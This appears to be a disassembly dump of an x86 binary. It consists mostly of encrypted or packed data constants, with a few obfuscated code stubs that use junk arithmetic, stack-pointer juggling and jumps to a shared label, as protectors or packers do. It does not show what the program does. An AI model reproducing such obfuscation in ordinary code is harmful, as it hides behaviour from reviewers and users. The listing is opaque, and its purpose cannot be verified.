		dd 34DEAC8Ah, 9A7B4927h, 2448E3C1h, 1BF962B3h, 0B492C94Dh
		dd 502E2DE6h, 0EECC8F82h, 0CFB1381Ch, 5484D453h, 0D04DB7Ah
		dd 2AE72B4Eh, 474F0E31h, 0F06BA670h, 0B51C6912h, 326FDE88h
		dd 96000000h, 4BD2D148h, 7EC76B69h, 16FCABEEh, 0C06A048Fh
		dd 0E0C60978h, 6AFFE168h, 418478C0h, 0C096A35Eh, 4E78C06Bh
		dd 6124DBA0h, 2AE48FB1h, 4Dh, 9D14851h,	0B5E29C23h, 672778BFh
		dd 488CAFACh, 0A76E91CAh, 0EB6349F8h, 9073E82Dh, 351348CCh
		dd 0DF02E8ADh, 0D4DC7CDFh, 3C6F1E3Dh, 34109BF1h, 18E719Ah
		dd 78BF912Ah, 0C4AAB160h, 2C4F0C06h, 3E0C8265h,	666285D6h
		dd 414h, 8A8C4A03h, 0C2619ED1h,	6A6C0B40h, 0CC120787h
		dd 66605FE6h, 0DA1D78C0h, 24F4B9B7h, 2316C531h,	41D09477h
		dd 60B3F71Ah, 8094D8FBh, 3EACB8DBh, 0BD31A79h, 73ABAEB4h
		dd 1907068Dh, 81C472B9h, 1F3CD5A3h, 0BD65FCFCh,	0D46550D7h
		dd 0E72A6CB1h, 48CB8901h, 9C3C1E13h, 0FAC16CB2h, 0FBE57C1Ch
		dd 4A2DDCD7h, 0AE15838Fh, 0D8BE9D74h, 4164F71Ah, 944318FDh
		dd 0A8B13BB1h, 1A058C72h, 0DF66AB5Dh, 0DC35799Ch, 0FD185C7Fh
		dd 1DF73B5Eh, 961D1B3Eh, 66AC1DB4h, 9402F639h, 0E7C702Fh
		dd 72A8B1A9h, 0C056148Ch, 0CEB1789Bh, 0A43D5641h, 0F2D81B60h
		dd 0FD11F37Ah, 0E9560A4h, 60A4FD2Ch, 46896EB1h,	0A065ED63h
		dd 0DCCF6BF2h, 0EAAE9137h, 0CD113427h, 6F2D1348h, 0CD94B7A4h
		dd 0A303C29Ah, 381BF9BEh, 80DB397Dh, 64F7195Dh,	3470F641h
		dd 0C6A1A1F1h, 5D3A81B5h, 0AD694E16h, 8F19F764h, 0E76E548Ah
		dd 5A9C85FCh, 5D5B7EC1h, 4E7C5EE5h, 0BE015A9Dh,	61FA17DBh
		dd 0FFC4323Eh, 462CF267h, 0EDCF56CEh, 725A9D4Dh, 0D4BF4C2Fh
		dd 99549568h, 61B27056h, 2D10D7FAh, 3328E9B7h, 1645CC10h
		dd 73ABAE38h, 4133068Dh, 3FB74E8Fh, 8F20D6B8h, 35185B4Eh
		dd 3E48F1B8h
		dd 83FAE229h, 0CEA4B1D4h, 44E8EA4h, 0E2264912h,	0C062932h
		dd 8256057Ah, 2D58EFD4h, 5E0EC17Bh, 2Eh, 9D14885h, 9BC59C23h
		dd 0FF4278BFh, 3AF9CFDCh, 0EB8778C0h, 0B786D126h, 14DBFE5Dh
		dd 1D83B8E1h, 2ED5AA3Ah, 0E4908D57h, 0F134h, 8C4A5B00h
		dd 6DB1D487h, 0CB92B5A6h, 9C75391Ch, 0BD589CBFh, 0DA377B9Eh
		dd 6AE1C34Ah, 0F4187EC7h, 8887CD77h, 5D3C03E8h,	4948ACF1h
		dd 9CBF6E1Dh, 2833E09Eh, 0CB908145h, 46FD56EDh,	0D63B7EC8h
		dd 38D9A785h, 73E82EECh, 0C8409C7Eh, 2FDE217Eh,	96150C0Ch
		dd 0C8402D0Fh, 0C06FB27Eh, 68D853DAh, 0D79C78C0h, 8537DBF6h
		dd 8A07EAB2h, 7ADF6947h, 8B37BEA4h, 0D072B624h,	2CE9A78Dh
		dd 62450C2Fh, 6CEF26E4h, 0C741068Eh, 0FDBA1CB4h, 0B164280Bh
		dd 0E3F273AAh, 0AE0F17A8h, 1D3B2h, 57041300h, 0F269AB79h
		dd 91CA4614h, 2E2DE5B3h, 0C8938250h, 0BA1D4FEAh, 5422005Bh
		dd 0EDBB99C2h, 89573526h, 23F5D388h, 56D6B83Fh,	815B84D4h
		dd 4BD24AE2h, 7EC76B69h, 4C8ABEEh, 9E6C4A11h, 3D02E873h
		dd 0B805A7E4h, 84FADD9Ah, 0D9C037FCh, 2E2AC921h, 0D148E64Bh
		dd 0C59C2309h, 4278BF9Bh, 0F9CFDCFFh, 8778C03Ah, 285DE2D9h
		dd 63E48FE1h, 0A9h, 9072F971h, 1578C02Fh, 48AEFD2h, 0F833CA0Dh
		dd 6D0708F2h, 0BE579BBEh, 146D7A9Dh, 527EC807h,	0FCDE65BFh
		dd 817EC7FFh, 0E3B18F3Eh, 0A0A2D2Eh, 62E9CF17h,	78C028E7h
		dd 0B8369ACh, 0C0DAA284h, 1E42778h, 0C218018Bh,	805055DCh
		dd 0A4D72B6h, 0ACAF6624h, 61DFC289h, 0BE972A3h,	0E4DC583h
		dd 0ADAE672Bh, 0A919F976h, 0ABA70817h, 0F0h, 5C3A21F6h
		dd 0F7D5868Eh, 9674E729h, 33114AC8h, 0CDABB065h, 789D3A32h
		dd 0DF3705E3h, 43D09E7Ch, 0A56C3A18h, 2206D8B6h, 0D457B99Bh
		dd 0C5643E84h, 6C4A1104h, 0AE8739Eh, 4E0D049Bh,	58CAA368h
		dd 0B579B0ABh, 3ED317D2h, 237D5FE6h, 0BF027EC8h, 0B1A83210h
		dd 99FC8369h, 1E78BB07h, 73A6B55Eh, 4724F643h, 0D4F7A693h
		dd 0FCDA8190h, 5578E32Eh, 0B9756048h, 9F3FD66Ch, 0FAC1E477h
		dd 0A32A284Bh, 6CB9C5C1h, 3DD70346h, 343CFB1Eh,	1C9104Fh
		dd 2DB160BAh, 3E1DF9E5h, 72A5541Bh, 0A20D041h, 0DEBC6BA7h
		dd 9C230110h, 6CB9A6BAh, 0EBC9FC3Fh, 6675385Eh,	0FA3E6110h
		dd 0E4DC618h, 0D4303C5Fh, 4C799B0Fh, 12F590B0h,	30E13D82h
		dd 927F4D2Bh, 19AAA6C9h, 2E000000h, 7B4D2FB6h, 8FD26CB9h
		dd 0FC2047ACh, 55BE9437h, 91830FBFh, 0D3381BCAh, 25481304h
		dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h
		dd 678AD141h, 4B6EED23h, 2B4E0D07h, 4F45682Ah, 4890000h
		dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 242C895Ch
		dd 6A2B68h, 24348900h, 223DE6BDh, 9EB85002h, 31042EDEh
		dd 8B5458C5h, 0C4832434h, 4EC8304h, 8F242C89h, 348B0846h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		dd 9C3BC1E9h, 0EE07B87Bh, 0C503060Ch, 50C2E0FFh, 87B86B68h
		dd 0BCDD09FEh, 8F3F1B18h, 0C751340Ah, 0F27E2174h, 1BE93E89h
		dd 24000000h, 44A3AEh, 5 dup(0)
		dd 8BE90000h, 0C5000005h, 5D2B0952h, 0F8C6A4B7h, 97654318h
		dd 3402E07Bh, 19C7AE1h,	0B2A96C6Bh, 4B1006D4h, 0E7749F6Dh
		dd 85D63B09h, 6AF1D5A7h, 84D45988h, 494330Dh, 0F82CA0Dh
		dd 0D284F563h, 0C9EC6FA6h, 0EC305302h, 86543229h, 99C2538Bh
		dd 0F27CAF76h, 0E6FE8FF1h, 1D618433h, 464467F4h, 0B0D38888h
		dd 0D24206E9h, 0F7DEA389h, 0E6C25636h, 0AA09C4A7h, 0D0419DE2h
		dd 34DFAD8Bh, 987B4927h, 0DF8ECD46h, 0BD9E78BCh, 5B208E9Ah
		dd 0FB6200C5h, 73B89BFFh, 0D299BC9Fh, 977C4023h, 0A05EE6C4h
		dd 4307EA71h, 5D6A8DCEh, 7EC7A486h, 71F7CCAEh, 0A49072F9h
		dd 0D2157EC7h, 783550EFh, 6756DE88h, 7D000000h,	42D10D04h
		dd 34E3789Ch, 0A6646285h, 7D0AED6Eh, 7EC76BA5h,	0D73FFDCDh
		dd 6AE4C64Dh, 26697EC7h, 0AA8D5477h, 0E79EA51Ah, 67DE88B1h
		dd 7E5CA7A2h, 0B55BECB5h, 0DBC83A6h, 1E92Ah, 4A100000h
		dd 6B694BD2h, 0ABEE7EC7h, 4B1004C8h, 2B30E428h,	0D4EC408h
		dd 0FCC38BEAh, 8B69F222h, 210754BDh, 0CAADAE63h, 1104E554h
		dd 31E3274Ah, 45CC442Ah, 7EC76B63h, 7C2A5E8h, 0EB0E4DC3h
		dd 0C9EC6FA7h, 0DEBD020Ah, 8E482F37h, 28F6D487h, 514F72E9h
		dd 1D674C8Ch, 7F62720Dh, 0E30655BBh, 0CD7249F7h, 0DE8825C8h
		dd 934BC886h, 0F1B8DB80h, 75581F42h, 6B34h, 11045B00h
		dd 6BAA8C13h, 0EC2F7EC7h, 3AD61A3Dh, 0D79FFE21h, 7CDF36E0h
		dd 8F19D196h, 39AB6CDAh, 312E056h, 21F13558h, 7D2B173Ah
		dd 225D2206h, 0E907FFF9h, 9AE84BE8h, 64803667h,	0C78BFBDDh
		dd 8E3D807Eh, 89ACAF62h, 5540DFC2h, 36DE8896h, 4Ah, 4A11045Dh
		dd 0AB6B2927h, 0E3C68DB0h, 4467F41Fh, 4690E71Bh, 3FAE8CCFh
		dd 694BD24Ah, 0EE7EC76Bh, 1004C8ABh, 641348CEh,	8B854341h
		dd 3E6ADD0h, 0C76B9F76h, 9EE5C77Eh, 1249CC8Ah, 0A64528EFh
		dd 0DE88B1DFh, 1ACh, 8C4AD300h,	31139A8Ah, 0B67EC76Bh
		dd 1DE1C473h, 14568F3h,	1C284B10h, 30DC9AEh, 61B47258h
		dd 14C3987Dh, 0D1472AF1h, 260CD247h, 3724F0AEh,	8440C754h
		dd 0FA3D78BFh, 0DD7E93D7h, 44E031FFh, 0C04CDBBDh, 74A06078h
		dd 668938E7h, 0FCC0A368h, 0CF8567EEh, 0C70A78BFh, 0B770FA94h
		dd 54A70C46h, 270AB906h, 0C00EC29Ah, 98DF1378h,	80BD33Eh
		dd 701F3CD6h, 0E21038Ah, 63A678C0h, 0BC09CEB4h,	62E365ABh
		dd 9D6BE1C4h, 3C01E774h, 17CF5B32h, 0BE795CB4h,	0DA40977Ah
		dd 0A47370Dh, 165A7D2Ch, 0BB9D2400h, 4078C015h,	0E72B4EFDh
		dd 120C2F2Ch, 0B55C3B80h, 0CB1301BFh, 3E61104Bh, 0BF049477h
		dd 0CFADAE63h, 90075F26h, 0F077EFE4h, 78C0090Eh, 0E36A5093h
		dd 78C00901h, 1F604386h, 13Dh, 0D2D14846h, 655A0114h, 7EC76B83h
		dd 3016C508h, 0C06F2EA9h, 0CAB0F378h, 3356050Ch, 8ACE896Ch
		dd 0A0BB5787h, 0CC4513F1h, 28EBA98Fh, 97955033h, 441FEDD2h
		dd 9F8256E3h, 22536DBh,	0E0443B43h, 886BF022h, 300E4DC4h
		dd 903FFE87h, 528DE4h, 48B40000h, 0ED2A88D0h, 7AD175F7h
		dd 0E998C34Eh, 8FCC4503h, 44C2A56Ch, 0C85BBBBDh, 573D80FEh
		dd 0AF677799h, 5F1AFDACh, 0C85C7052h, 1166F8FEh, 0E5CB1109h
		dd 0C85C5C5Eh, 30A8207Eh, 0C85BC7A9h, 14094C7Eh, 7EC85C32h
		dd 149174B7h, 9A6DF3D1h, 0A000000h, 2309D148h, 0BF8BB19Ch
		dd 10337678h, 7A9245CCh, 0FE683B52h, 1645D1FDh,	43018967h
		dd 58030ED0h, 9CBF6E35h, 0E32EF2D5h, 73485578h,	0C478BFA8h
		dd 22EF2B90h, 0E00358BCh, 28C6A19h, 23E1C71Fh, 3823F0EEh
		dd 0BC9F4E15h, 9880B73Eh, 0F6BD72B2h, 4286F6E7h, 12F8A78Bh
		dd 7C9FBC54h, 1917D2B5h, 81A4B75Bh, 0FE13D7BAh,	20F63A5Dh
		dd 3ED4183Bh, 0A3AFFA1Dh, 0A4744E3h, 0A017DF26h, 6FE6FE6Fh
		dd 0A8574E12h, 0E97146B4h, 6C4AA70h, 0ED6B4E0Dh, 0A64A2F66h
		dd 4B296C6Ch, 9D148DCh,	9BE6AB23h, 472E7AD8h, 94CB583Bh
		dd 0D178BB36h, 56EED057h, 307378BBh, 0F71A5E81h, 56C4A62Dh
		dd 64978BBh, 66AB7957h,	0C4510FF5h, 0FBF9B497h,	0A386D53Dh
		dd 0BB2D716h, 84FCB2B6h, 0BFB1BFDh, 315DA036h, 49477E4h
		dd 30AE63BFh, 8C5376E5h, 0DA39F7DDh, 0B4975E81h, 0BAA1703Eh
		dd 65BF5397h, 0CCEF6CA7h, 0FB2E1005h, 70B3360Bh, 36929EC1h
		dd 0DABD9E78h, 68A9754Ah, 0CA4715F3h, 20D1430Dh, 47737212h
		dd 0BDE08FCCh, 471401BFh, 0CE864h, 0A76C0000h, 76AF2ECEh
		dd 0B318FB47h, 13041520h, 30E12548h, 4FC4082Bh,	71A5E90Ch
		dd 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah, 0D074B6Eh
		dd 682A2B4Eh, 7808h, 68241489h,	2348h
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	eax, 547B2459h
		and	eax, 1555138h
		neg	eax
		shl	eax, 8
		shr	eax, 3
		push	ebx
		mov	ebx, 4EAB2F47h
		inc	ebx
		not	ebx
		shr	ebx, 7
		xor	ebx, 61AF7F90h
		neg	ebx
		xor	ebx, 0A6D30075h
		and	eax, ebx
		pop	ebx
		sub	eax, 0BB43A3Fh
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, eax
		push	ebx
		add	dword ptr [esp], 49E0DC1h
		pop	dword ptr [ebp+8]
		sub	dword ptr [ebp+8], 49E0DC1h
		pop	ebx
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		db 5, 97h, 0D7h
		dd 0B1B8CC1Eh, 3060CF3h, 30E0FFC5h, 0A1523042h,	0C85DF468h
		dd 981AEBB4h, 3754EC09h, 9745C436h, 1928EFE9h, 0E86FBD87h
		dd 2C4BCB0Ch, 1D10E4DDh, 17FED20h, 0AD6BEA71h, 3C51DE31h
		dd 0E34DE1Ch, 8D30E763h, 0CF59A8Dh, 0C1853106h,	8906070Dh
		dd 706798Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0DF81D306h, 89BDDAh, 9E9h, 76C6D000h
		dd 857D45B3h, 85C75FA0h, 6072CE5h, 6394h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 26C35040h, 321C6575h
		dd 210EFC53h, 585C76Ch,	6072Dh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 94D5C355h
		dd 0FC61D750h, 0F97F2DB4h, 11C5B5FFh, 6A0607h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 5C3B81C3h, 0E9144F50h, 7, 76053A1Bh,	0FFAA1570h, 700BD95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0EDA18F14h, 5D0C4D34h, 33DE8B1Ah, 71EBD95h
		dd 0FF006A06h, 716B595h, 0EBC08B06h, 0E02A5E2Ch, 0A08A25F2h
		dd 0E04C296Ah, 1BFC6EC4h, 0C4B3C77Ch, 0B3EE2793h, 60D44CBDh
		dd 614D732Dh, 0D8FCE5DAh, 0DC2A4253h, 3119FEE3h, 0DE8BCh
		dd 0B9D70000h, 25150DEEh, 7A3C1953h, 81489517h,	3B5323F7h
		dd 0BA665B3Eh, 0C3816D1Bh, 6EA6h, 11E9h, 1A263E00h, 0EF11191Eh
		dd 796F3041h, 212FD7FEh, 68B343h, 89000000h, 71DE985h
		dd 0FFF95806h, 9D891834h, 607130Dh, 75BD895Eh, 81060730h
		dd 8FD25DEEh, 0CDB9664Ch, 0D0C681B2h, 8B3EA4E0h, 29F681C8h
		dd 60272280h, 26ADB589h, 0B8660607h, 5661B8E9h,	4F8ADA81h
		dd 48F684Fh, 860F6003h,	6, 1DA19D29h, 8B610607h, 71D258Dh
		dd 4E88306h, 1D159503h,	0F8810607h, 0FFFF9204h,	0FF99850Fh
		dd 9503FFFFh, 6070FE5h,	0F75F8D8Dh, 6A060Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 22C15EC3h
		dd 0A6B6FA8Ch, 9CB866F0h, 0C19D8B87h, 89060711h, 706798Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 763D57FAh, 0D41BD33h, 85C70607h,	6072CE5h
		dd 6E9Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	21C35141h, 0AF9E9AD1h, 6625F5DFh, 85C7C78Bh, 6072D05h
		dd 0
		dd 9DB5FFF8h, 0F060713h, 68Eh, 0E9B58900h, 0FF060709h
		dd 700BD95h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 560A58F6h, 590111D3h, 10B5B58Bh
		dd 6A0607h, 16B595FFh, 0C08B0607h, 0BB9D1FEBh, 0EC5763F9h
		dd 8F43DDB4h, 0E576A066h, 0B4D58080h, 0B4CCAB84h, 2AF3FE7Dh
		dd 0C0B9A123h, 5E8FFh, 0C4A20000h, 8BB2E4A0h, 71C9595h
		dd 0B5895E06h, 6070A2Dh, 6A7DC681h, 9D0B0000h, 6070DCDh
		dd 0B9h, 0DE900h, 79F00000h, 5D1C9E89h,	367D3CAAh, 8B1E87F0h
		dd 13E80E3Ch, 49000000h, 0A632219Ch, 58525FB4h,	0D36532A6h
		dd 6BFF516Eh, 9503CC90h, 60709BDh, 9FC7815Ah, 8B2C1102h
		dd 714BD9Dh, 13EF8106h,	661F5AA5h, 75B8DA81h, 0D042EF81h
		dd 81663E0Bh, 57733FC8h, 8F0DCB80h, 0BD890E04h,	6071F45h
		dd 1641958Bh, 0E9830607h, 0A8B0F03h, 0E9000000h, 5, 0F54DBF8Bh
		dd 0E881490Bh, 3397B13Eh, 9634F981h, 850FFFFFh,	0FFFFFF83h
		dd 0E9DE8B66h, 0D3h, 5AD2434Fh,	0CA459CD7h, 0B6E1C8C3h
		dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h
		dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h,	7594A196h
		dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh
		dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h
		dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h
		dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h,	0ABF79B57h
		dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh
		dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h
		dd 47000000h, 0E3129D74h, 5E99E0h, 6 dup(0)
		dd 0E9000000h, 15A2h, 0CFB1D68h, 8248E906h, 3C68FFFAh
		dd 0E9060CFCh, 0FFFA823Eh, 0CFD1568h, 8234E906h, 2868FFFAh
		dd 0E9060CFEh, 0FFFA822Ah, 0CFEE268h, 8220E906h, 9E68FFFAh
		dd 0E9060CFFh, 0FFFA8216h, 0D004968h, 820CE906h, 2368FFFAh
		dd 0E9060D01h, 0FFFA8202h, 0D01DB68h, 81F8E906h, 2B68FFFAh
		dd 0E9060D03h, 0FFFA81EEh, 0D040768h, 81E4E906h, 5668FFFAh
		dd 0E9060D05h, 0FFFA81DAh, 0D065C68h, 81D0E906h, 0A068FFFAh
		dd 0E9060D07h, 0FFFA81C6h, 0D090268h, 81BCE906h, 0C968FFFAh
		dd 0E9060D0Ah, 0FFFA81B2h, 0D0BD168h, 81A8E906h, 4FC8FFFAh
		dd 0B4602E0Ch, 15FBC9A7h, 789A6846h, 0DE3705E3h, 68049F7Dh
		dd 0D7B5A66Fh, 704E0D09h, 0CEA71A2h, 0AA88D33Eh, 8B6DF4D8h
		dd 1084D464h, 7F067E36h, 84D4649Dh, 0AAB16222h,	2E11C087h
		dd 4E0D04C9h, 312AE72Bh, 8A50C953h, 7B4A1DA4h, 0FCF78C0h
		dd 13265902h, 9955F2D3h, 0B1BEE190h, 78BF84DBh,	0D108CD69h
		dd 0A52E90A6h, 0AF14A487h, 906FED98h, 429EE4h, 48C50000h
		dd 652309D1h, 9580ACAFh, 0ED65E3C6h, 3E96A328h,	0B1526AB3h
		dd 0BE5570F0h, 71FEE190h, 78BFDE9Ah, 0A4B1D417h, 78C07DCEh
		dd 0C148C05Ch, 78C07DDFh, 0AE3E2164h, 9E5332C9h, 0F738E48Fh
		dd 5F000000h, 2B4E0D04h, 472D2EE7h, 0B1D48789h,	358BEEAh
		dd 0F0216520h, 55BB23EEh, 6D1CE306h, 0B1D4834Ah, 0D9B7A46Dh
		dd 0C76E4242h, 2739FE7Eh, 42E9BC82h, 3EC727F8h,	21FFC40Bh
		dd 6941F8EEh, 0B497154Eh, 543A21F0h, 0FDE07B96h, 358B987h
		dd 0A179E0E0h, 0FD4134BBh, 400578BFh, 0C84FBFEFh, 78C04FE6h
		dd 86F5286Bh, 143963A4h, 7039151Ah, 0E07B95C1h,	5F3D80FDh
		dd 0B0964CD5h, 0B59EEC29h, 0E62972h, 0A288D342h, 92C2FE4h
		dd 5CFF1642h, 198F7239h, 5A91CA4Bh, 17AA1E01h, 0F1E3DF40h
		dd 21000012h, 0B98765F6h, 5422005Bh, 0F3C19FBCh, 905E3C1Fh
		dd 5DF8D685h, 0E4DC80Fh, 0A7B46230h, 4318FBC9h,	0E17A9765h
		dd 0C64D3103h, 84D465E4h, 4F08F69h, 1645CD11h, 9F7D2CF3h
		dd 351B40D1h, 0DCBF9C77h, 0F120DE66h, 0F3229EDh, 78769948h
		dd 0C76B0FF1h, 0A251947Eh, 0D1485ABFh, 0C59C2309h, 4278BF9Bh
		dd 0A5C89382h, 0FF0C2FDEh, 78C03B29h, 8DB209B7h, 0E48FE1F8h
		dd 0F593h, 0D04BA00h, 69F0684Eh, 7EC76B87h, 2BE6C90Ch
		dd 0A2D2EE7h, 0C76DFDFDh, 0BD9E737Eh, 3A9257DFh, 0D5E9FB00h
		dd 0BA571BFEh, 5D2FA56Ah, 76AA370Ch, 0C6719F81h, 32E1247Eh
		dd 0D40A0F0Fh, 777467EEh, 0BF3978BFh, 0BF675638h, 0E998DB78h
		dd 4298810Bh, 0E3789E5Ch, 4C0A8200h, 0AB7295C6h, 0D073BC8h
		dd 8C4C72B5h, 9D114E89h, 84A721D0h, 3CEBB2D5h, 0F620DE56h
		dd 23F74265h, 6B78C4C2h, 0C78B6E1Dh, 5A84904Eh,	0B67DA0BBh
		dd 6E1DE407h, 0A7891088h, 2C72B634h, 0C29006E9h, 54D10853h
		dd 0AD17AA30h, 11D2504Ch, 0D7400000h, 3CD8A684h, 9D73411Fh
		dd 12E0BEh, 66AF7D5Bh, 0F07C17F5h, 4F2D2EE7h, 0E8C69581h
		dd 8462F91Ah, 22005BB6h, 3E56C50h, 8884D467h, 11040FAEh
		dd 739E6C4Ah, 0A1134064h, 0CA79B31Ch, 429F64ECh, 34CB23EBh
		dd 3164FD30h, 4E9B2905h, 0D04066Bh, 2AE72B4Eh, 8B855331h
		dd 0EB72EAD0h, 7EC76B09h, 6B24068Dh, 66A97EC7h,	0A05B3E81h
		dd 0C8A6B55Ch, 42D7F2E9h, 803EB69Ch, 0E1A8CB90h, 6B9274FBh
		dd 0D4177EC7h, 978164F1h, 0C30678BFh, 6E8960D3h, 1E036135h
		dd 80B89844h, 0DCA3C695h, 0B317B2A9h, 90971E04h, 8D7B2F09h
		dd 0A29B43C6h, 35E4A281h, 0DC7F914Fh, 540FF2B9h, 2F15CD54h
		dd 2429F3A8h, 7ED3075h,	0B593C849h, 0FA312AE7h,	153C3335h
		dd 0F96F6BCCh, 19000010h, 0B17F5DFEh, 4C1AF863h, 0EBB997C4h
		dd 88563427h, 55F0CE8Dh, 655C017h, 9FBC5A28h, 3B20F3C1h
		dd 0D9828F5Dh, 0BE4529FBh, 84D467DCh, 4E88761h,	2B2B4E0Dh
		dd 830AF036h, 78C07D90h, 0B42C1255h, 0C0564B2Dh, 0AA8DD078h
		dd 6FB7AA34h, 354C1189h, 517FF46Bh, 8B0E9B7Eh, 5072B8C4h
		dd 7DDEA0Dh, 9572B8B6h,	1A6B90E7h, 71EA9766h, 3Ch, 8CD14898h
		dd 4127D685h, 0BFB500BAh, 8C864478h, 1C2F1198h,	71B478C0h
		dd 1F62DFC2h, 0C2997B39h, 0FEE17A96h, 0A51C280h, 1CBD952Ch
		dd 1EF378C0h, 82915F3Dh, 4DBAB6D9h, 57000010h, 2309D148h
		dd 0BA62D59Ch, 290F5278h, 0D7B5A66Bh, 30530809h, 0BF12930h
		dd 0AD69E084h, 0EE25E572h, 60D8BE6Dh, 0AD7AF7D9h, 56397C72h
		dd 609B60D8h, 66F741D2h, 28E9AD90h, 8A875533h, 0F41EC054h
		dd 0CE7D4467h, 65FCFC1Fh, 1D50D7BDh, 616CA587h,	0F0ED119Ch
		dd 977AF07Bh, 99A0D71Ah, 681DBA49h, 0FE60B07h, 0EB2C0000h
		dd 50C49270h, 0B15F2D0Bh, 14FECCAAh, 7A9B6947h,	46803E1h
		dd 3B1942D3h, 0D4B2A96Dh, 704E0D06h, 0EEC6FA2h,	0EFD1583Ch
		dd 7484D468h, 8C4AFB9Ah, 0EAB1D487h, 6BA47A07h,	3B1E7EC7h
		dd 0D85FDE3h, 0C76BA486h, 0BAE6297Eh, 16DD005Bh, 613AA633h
		dd 0BCFF78BAh, 82995ED6h, 0B15D5F56h, 868B4F32h, 0D52AEFD5h
		dd 0F5EB0CA9h, 13E1573Ah, 3A3A5DFEh, 5F41C827h,	0E478BB19h
		dd 4E0CF2A1h, 26AD93C8h, 78BB1944h, 25A386C9h, 0B42BAB9Eh
		dd 39F76F72h, 0AA8C81DAh, 2E72B404h, 0B403C5A7h, 22074A72h
		dd 0BF7FFCDFh, 9FE30655h, 8736E576h, 0AC623350h, 0B1AD0E17h
		dd 0F2Ch, 4C2A31E6h, 0E7C5967Eh, 8664F719h, 23015AB8h
		dd 0BD9BC055h, 888D4A22h, 0EF27F5D3h, 53C08E6Ch, 0B55C2A08h
		dd 12F6C8A6h, 0D469A98Bh, 0B5542E84h, 0F7CA0D04h, 0E1672E20h
		dd 3AF7D786h, 0D5E5B007h, 52BF0326h, 26D5868Ch,	8757BF03h
		dd 0E3AACD8Eh, 43CD1134h, 3625EC18h, 0C1B6EA13h, 2A0A7B0Eh
		dd 0E4935DD6h, 6DF3C8AAh, 0C08C6EF5h, 0CE117EC7h, 60394CEBh
		dd 0BE52DE88h, 79000008h, 2309D148h, 0BA62239Ch, 6D22E778h
		dd 829044FEh, 529512F5h, 0DB36F46Ch, 0B3965D80h, 5B3922EFh
		dd 0B4D7848Dh, 0BA8CD1A7h, 10D64B78h, 9FB0A32Ah, 327572B3h
		dd 0ACEC92FBh, 524EAF17h, 0E70h, 8E675A2h, 0A381DA3Ah
		dd 42203BD5h, 0DFBD9E74h, 79570411h, 0CC498EDEh, 33E3B18Fh
		dd 977C4A28h, 0F918E6C4h, 0CEB28462h, 0D46A6547h, 7110EA84h
		dd 2B4E0D04h, 0E312AE7h, 0E82EECBCh, 0BB009073h, 88B60184h
		dd 8338ADEh, 3BB10000h,	7EC76B65h, 0EF277ADFh, 5FD7BD6Ch
		dd 0BEEA71A1h, 1CE30655h, 6173AC39h, 75B878BAh,	0CB52178Fh
		dd 5A2F2A3Bh, 7E93573Ah, 0B977FFDDh, 0CA91845Ah, 9D74381Bh
		dd 869B9BBEh, 8A027A60h, 0BB452103h, 0A52CA678h, 78BB44C3h
		dd 73560548h, 0B455F3E6h, 3E75B872h, 17AC3759h,	0C58B87E8h
		dd 4D00000Dh, 0E5B391CAh, 804E2C2Fh, 1FEDCB90h,	0BC8A68F3h
		dd 89240259h, 3A21F4E3h, 0D3888E5Ch, 6FEC27F5h,	0D4EC391h
		dd 0F2795D2Fh, 84D46B10h, 41CBB95h, 189F170Dh, 7EC76B36h
		dd 0A18378BBh, 267EC76Bh, 131134E3h, 739FBC55h,	0CF96B9A2h
		dd 72E928ECh, 0A41BFD4Fh, 88B5E69Fh, 773A5DEh, 0EEB30000h
		dd 41484A99h, 0DC41243Ch, 0D3888C4Ah, 0B2A96CB0h, 3619C88Fh
		dd 957BA3B6h, 0BA62080Eh, 58C0478h, 78BA7223h, 58265A8h
		dd 0EC64DCC2h, 0BA728365h, 0E2C50878h, 8268F31Eh, 72A1830Ah
		dd 0E32678BAh, 55BC8A00h, 0D6E306h, 7C78BA72h, 729B7D04h
		dd 0DD2078BAh, 3FE77AFAh, 83DFD259h, 2AA472B3h,	0B35CC1A3h
		dd 4516FF72h
		dd 33765B22h, 9144D84h,	8CED17ADh, 0CEB90h, 6BF02700h
